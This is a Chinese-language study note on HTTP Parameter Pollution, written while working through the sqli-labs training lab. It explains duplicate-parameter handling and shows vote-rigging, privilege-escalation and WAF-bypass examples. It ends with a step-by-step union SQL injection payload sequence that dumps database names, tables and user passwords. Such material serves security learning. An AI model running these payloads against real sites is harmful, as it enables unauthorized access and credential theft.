在重新学习sqlilab时看到HTTP污染,之前没有好好理解悔不当初啊。
现在认真记录一下,重视基础
参考文章:https://blog.csdn.net/eatmilkboy/article/details/6761407
HTTP污染介绍
HPP是HTTP Parameter Pollution的缩写。这个漏洞由S. di Paola 与L. Caret Toni在2009年的OWASP上首次公布。这也是一种注入型的漏洞,攻击者通过在HTTP请求中插入特定的参数来发起攻击。如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击。下面对这个漏洞的原理做一下详细解释。
在跟服务器进行交互的过程中,客户端往往会在GET/POST请求里面带上参数:1
2
3
4
5
6
7
8
9
10
11GET /foo?par1=val1&par2=val2 HTTP/1.1
User-Agent: Mozilla/5.0
Host: Host
Accept: */*
POST /foo HTTP/1.1
User-Agent: Mozilla/5.0
Host: Host
Accept: */*
Content-Length: 19
如上面的例子所示,这些参数会以名称-值对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。
重点来了:
对于不同的服务器,处理同名称但多参数情况的方式不一样,见下表:
举个例子,虽然也是别人帖子上看的,但是能很好理解这个表:1
http://www.google.com/search?q=italy&q=china

1 | http://search.yahoo.com/search?p=italy&p=china |

如果同时提供2个搜索的关键字参数给Google,那么Google会对2个参数都进行查询;但是Yahoo则不一样,它只会处理后面一个参数。
例子
现在举一个HPP漏洞的例子
对客户端的攻击
假如有这么一个网站,用来给两个人投票1
2
3
4
5Url : http://host/election.jsp?poll_id=4568
Link1: <a href="vote.jsp?poll_id=4568&candidate=zhang">为张三投票</a>
Link2: <a href="vote.jsp?poll_id=4568&candidate=li">为李四投票</a>
而实现投票的链接为:1
2
3ID = Request.getParameter("pool_id")
href_link = "vote.jsp?poll_id=" + ID + "&candidate=xyz"
那么现在,攻击者恶意地生成如下的URL给投票人1
http_://host/election.jsp?poll_id=4568%26candidate%3Dzhang
那么此后,实现投票的链接就为:1
href_link = "vote.jsp?poll_id=" + "4568&26candidate=zhang" + "&candidate=xyz"
所以页面显示的内容就为:1
2
3
4
5Url : http://host/election.jsp?poll_id=4568%26candidate%3Dzhang
Link1: <a href="vote.jsp?poll_id=4568&candidate=zhang&candidate=zhang">为张三投票</a>
Link2: <a href="vote.jsp?poll_id=4568&candidate=zhang&candidate=li">为李四投票</a>
那我们可以知道jsp/Tomcat的web服务器,将会处理First参数,后一个不处理,然后这样便会出现最终都是给张三投票的情况。
对服务器端的攻击
某网站的实现1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21void private executeBackendRequest(HTTPRequest request){
String action=request.getParameter("action");
String user=request.getParameter("userid");
String target=request.getParameter("target");
HttpRequest("http://centralauthencationserver/checkpriviledge.jsp", "POST","action="+action+"&user="+user+"&target="+target);}
/* get feedback of whether this user has privilege to perform specified action. If no such privilege, return error, otherwise continue perform the action*/
HttpRequest("http://businessserver/performaction.php", "POST","action="+action+"&user="+user+"&target="+target);}
它有个独立的集中认证服务器用来做用户权限方面的认证,另外的业务服务器专门用来处理业务,对外的门户实际上紧紧只是用来做请求的转发。这里不会有SQL注入之类的漏洞,因为不管是集中认证服务器还是业务处理服务器都会对传入的参数的格式做检查,确保不会存在SQL注入。那么哪儿有问题?因为集中认证服务器和业务处理服务器分别由2个团队开发,使用了不同的脚本语言,又没有考虑到HPP的情况。那么看看一个本来仅仅只是具有只读权限的用户,如果发送如下请求给服务器:1
http_://frontHost/page?action=view&userid=zhangsan&target=bizreport&action=edit
那么根据我们知道的Web服务器参数处理的方式,这个用户可以通过认证做一些本来没有权限做的事情。
对于认证服务器,将会执行edit的功能。
除此以外,HPP还可以被攻击者用来绕过一些Web应用防火墙(WAF, WebApp Firewall),比如对某页面的SQL注入攻击如下:1
show_user.aspx?id=5;select+1,2,3+from+users+where+id=1--
这个攻击因为在参数id里面存在明显的SQL注入的模板:select…from…而会被WAF成功拦截。但是如果换成HPP的方式:1
show_user.aspx?id=5;select+1&id=2&id=3+from+users+where+id=1--
这时候没有任何参数具备select…from…的特征,可能就可以绕过WAF的拦截了。
sqlilab-29
用28题作为例子
可以看到源码中1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
如果在忽略WAF的情况下,我们注入将会发生如下情况:
服务器端是由一个tomcat引擎的jsp服务器和一个apache引擎的php服务器组成的,我们发送的数据会先被jsp服务器接受,通过jsp服务器再传给php服务器,然后php服务器再把响应数据发给jsp服务器,最后由jsp服务器传给客户端
在此jsp服务器起到WAF的作用,jsp会接受第一个参数,php服务器会接受最后一个参数
所以我们构造如下payload:1
?id=1&id=1'--+
成功了
接下来一步一步来:1
2
3
4
5
6
7
8
9
10
11判读字段数:?id=1&id=1' order by 3 --+
判断显示位:?id=1&id=-1' union select 1,2,3 --+
爆出数据库名:?id=1&id=-1' union select 1,database(),3 --+
爆出表名:?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆出字段名:?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
爆出数据:?id=1&id=-1' union select 1,group_concat(username,"~",password,"~~~~"),3 from users --+